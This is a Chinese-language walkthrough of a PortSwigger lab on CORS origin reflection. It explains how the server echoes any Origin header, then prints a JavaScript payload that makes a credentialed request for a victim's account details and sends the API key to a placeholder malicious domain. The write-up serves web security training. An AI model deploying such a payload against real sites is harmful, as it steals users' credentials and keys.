学徒-CORS漏洞-基本源反射
# 实验室:CORS漏洞-基本源反射
# 题目
该网站具有不安全的 CORS 配置,因为它信任所有源。
若要解决实验室问题,请编写一些 JavaScript 代码,使用 CORS 来检索管理员的 API 密钥,并将代码托管至漏洞利用服务器。当你成功提交管理员的 API 密钥时,该实验就解决了。
你可以使用以下凭据登录到自己的帐户:wiener:peter
- name: 实验室-学徒
desc: CORS漏洞-基本源反射 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
bgColor: '#001350'
textColor: '#39d50c'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面。
使用题目中提供的用户名和密码进行登录。
在账户页面中,你可以看到当前账户的 API 密钥。
这个 API 密钥并不是直接放置在网页中的,而是先通过第一个请求加载出整个页面,然后再发起第二个请求,获取值并显示在页面中。
将第二个请求数据包转发至 Repeater 功能模块。
添加Origin
请求标头,随意指定一个值,发送请求。在响应中可以看到Access-Control-Allow-Origin
响应标头,我们传递的值也在其中。
指定的任何Origin
值,都会由Access-Control-Allow-Origin
响应标头返回。
说明客户端指定的 Origin 标头,可以动态生成服务端的 ACAO 标头。
构造一个典型的 CORS 攻击载荷:
当受害者访问时,将会在他的浏览器中隐式发起请求,获取他的账户信息,并传递给恶意域。
<script>
function reqListener() {
window.location = 'https://<恶意域>/log?key=' + this.responseText;
}
var req = new XMLHttpRequest();
req.onload = reqListener;
req.withCredentials = true;
req.open('GET', 'https://<受攻击的域>/accountDetails', true)
req.send();
</script>
2
3
4
5
6
7
8
9
10
11
12
13
将载荷保存至漏洞利用服务器上。
自己访问一遍。
在日志记录中可以看到 wiener 的账户信息,说明攻击成功。
看看请求过程。
第一个请求数据包,受害用户访问了恶意域的网页,执行了其中的 JavaScript。
恶意 JavaScript 向受损的域发起跨域请求,受害用户的浏览器以为是用户自己发起的,所以自动填充了 Cookie。
同时由于Access-Control-Allow-Origin
响应标头是动态生成的,所以受损的服务器会信任恶意域,允许其读取响应。
恶意 JavaScript 读取响应信息之后,将其传递回恶意域。
一切就绪,将载荷发送给受害用户。
等待一会后,查看日志记录,成功捕获了受害用户的账户信息。
捕获的账户信息中,包含受害用户的 API 密钥。
回到实验室页面,点击上方的 “Submit solution” 打开提交框,输入受害用户的 API 密钥,然后点击 “确定”。
密钥正确,实验完成。